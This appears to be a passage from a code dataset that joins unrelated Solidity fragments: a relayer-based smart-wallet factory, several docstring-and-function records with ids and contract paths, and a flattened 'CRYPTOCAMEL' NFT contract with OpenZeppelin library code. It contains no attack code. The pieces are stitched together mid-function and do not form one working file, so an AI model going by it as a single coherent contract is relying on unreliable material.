deployWalletExecCreate2(bytes memory data, uint salt) public returns (address) { address addr = deployCreate2(msg.sender); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.execCreate2(data, salt)); require(wallet.initiate(msg.sender)); emit Deployed(addr, msg.sender); return addr; } /** * @dev Allows a relayer to deploy a wallet and deploy a new contract through the wallet using create2 on behalf of a user. * @param data bytecode of the new contract * @param salt create2 salt parameter * @param fee Fee paid to the relayer * @param token Address of the token contract for the fee * @param deadline Block number deadline for this signed message */ function deployWalletExecCreate2(bytes memory data, uint salt, uint fee, address token, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (address addr) { require(block.number <= deadline); address signer = recover(keccak256(abi.encodePacked("deployWalletExecCreate2", msg.sender, token, data, tx.gasprice, salt, fee, deadline)), v, r, s); addr = deployCreate2(signer); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.execCreate2(data, salt)); require(wallet.initiate(signer, msg.sender, fee, token)); emit Deployed(addr, signer); } /** * @dev Utility view function that allows clients to fetch a smart wallet address of any signer address * @param owner Signer address */ function getCreate2Address(address owner) public view returns (address) { bytes32 temp = keccak256(abi.encodePacked(bytes1(0xff), address(this), uint(owner), bytes32(keccak256(type(Proxy).creationCode)))); address ret; uint mask = 2 ** 160 - 1; assembly { ret := and(temp, mask) } return ret; } /** * @dev Utility view function that allows clients to fetch own smart wallet address */ function getCreate2Address() public view returns (address) { return getCreate2Address(msg.sender); } /** * @dev Utility view function that allows clients to query whether a signer's smart wallet can be deployed or has already been * @param owner Signer address */ function canDeploy(address owner) public view returns (bool inexistent) { address wallet = getCreate2Address(owner); assembly { inexistent := eq(extcodesize(wallet), 0) } } /** * @dev Utility view function that allows clients to query whether their signer's smart wallet can be deployed or has already been */ function canDeploy() public view returns (bool) { return canDeploy(msg.sender); } /** * @dev Internal function used to prefix hashes to allow for compatibility with signers such as Metamask * @param messageHash Original hash */ function recover(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { bytes memory prefix = "\x19Metacash Signed Message:\n32"; bytes32 prefixedMessageHash = keccak256(abi.encodePacked(prefix, messageHash)); return ecrecover(prefixedMessageHash, v, r, s); } }
Same as above but allows batched transfers in multiple tokens/
function pay(address[] memory to, uint[] memory value, address[] memory tokenContract) onlyOwner public returns (bool) { for (uint i; i < to.length; i++) { IERC20 token = IERC20(tokenContract[i]); token.transfer(to[i], value[i]); } return true; }
6,353,865
./partial_match/4/0x3f910ca1093D5f31AA778fA355FA05280D2D0419/sources/contracts/HegicOptionsNFT.sol
Pays contract's balance to account account Account to receive balance/ Executed before a token transfer. Checks if this contracts own the underlying option before transfering it. If owner != this, it will revert _from from _to to _tokenId ID of token to be transfered/
function _transferBalance(address account) internal virtual; function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal override { require(checkValidToken(_tokenId) || _from == address(0) || _to == address(0), "HONFT/invalid-holder"); }
8,552,409
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4; // import "hardhat/console.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract CCML is ERC721, ERC721Enumerable, Ownable { using Strings for uint256; uint256 public constant tokenPrice = 200000000000000000 wei; // 0.2 ETH // uint256 public constant tokenPrice = 200000000000; // 0.00002 ETH price for testing uint256 public maxNftSupply = 10000; bool public publicSale = false; string public _baseURIextended = "ipfs://QmeGRGymLZus4bThvyUnQeGD2SWREZTZuPrsGddepKPnvA/"; string public baseExtension = ".json"; // WhiteLists for presale. mapping(address => bool) private _whitelist; mapping(uint256 => bool) private _minted; constructor() payable ERC721("CRYPTOCAMEL", "CCML") { _whitelist[msg.sender] = true; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "CCML: URI query for nonexistent token"); string memory currentBaseURI = _baseURI(); return string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)); } function setBaseURI(string memory _uri) external onlyOwner { _baseURIextended = _uri; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function flipPublicMinting() external onlyOwner { publicSale = !publicSale; } function airdrop(uint256[] memory _ids, address[] memory _owners) external payable onlyOwner { require(_ids.length > 0 && _owners.length > 0, "CCML: must provide at least one token and owner"); require(_ids.length == _owners.length, "CCML: ids and owners must have the same length"); // verify the tokens exist first for (uint256 i = 0; i < _ids.length; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < _ids.length; i++) { _minted[_ids[i]] = true; _safeMint(_owners[i], _ids[i]); } } function presaleMint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; // require(numTokens > 0, "CCML: Must supply positive number for tokens to mint"); // require(totalSupply() + numTokens <= maxNftSupply, "CCML: Purchase would exceed max supply of tokens"); require(_whitelist[msg.sender] == true, "CCML: sender is not whitelisted for presale"); require(tokenPrice * numTokens <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); // for (uint256 i = 0; i < numTokens; i++) { // // mints a new token right off the top of the supply // _minted[totalSupply()] = true; // _safeMint(msg.sender, totalSupply()); // } // verify the tokens exist first for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } } function mint(uint256[] memory _ids) external payable { uint256 numTokens = _ids.length; require(publicSale, "CCML: Public sales aren't available yet"); require((tokenPrice * numTokens) <= msg.value, "CCML: Insufficient funds sent for purchase"); require((totalSupply() + numTokens) <= maxNftSupply, "CCML: Mint would exceed max supply of tokens"); // verify the tokens exist first for (uint256 i = 0; i < numTokens; i++) { require(_minted[_ids[i]] == false, "CCML: One or more of these ids are taken"); require( _ids[i] <= maxNftSupply, "CCML: One or more of these ids are greater than the max number of tokens" ); } for (uint256 i = 0; i < numTokens; i++) { if (totalSupply() < maxNftSupply) { _minted[_ids[i]] = true; _safeMint(msg.sender, _ids[i]); } } } function whitelistAdd(address[] memory _wallets) external onlyOwner { for (uint256 i = 0; i < _wallets.length; i++) { _whitelist[_wallets[i]] = true; } } function whitelistRemove(address[] memory _wallets) external onlyOwner { for (uint256 i = 0; i < _wallets.length; i++) { _whitelist[_wallets[i]] = false; } } function withdraw() external payable onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } fallback() external payable {} receive() external payable {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ 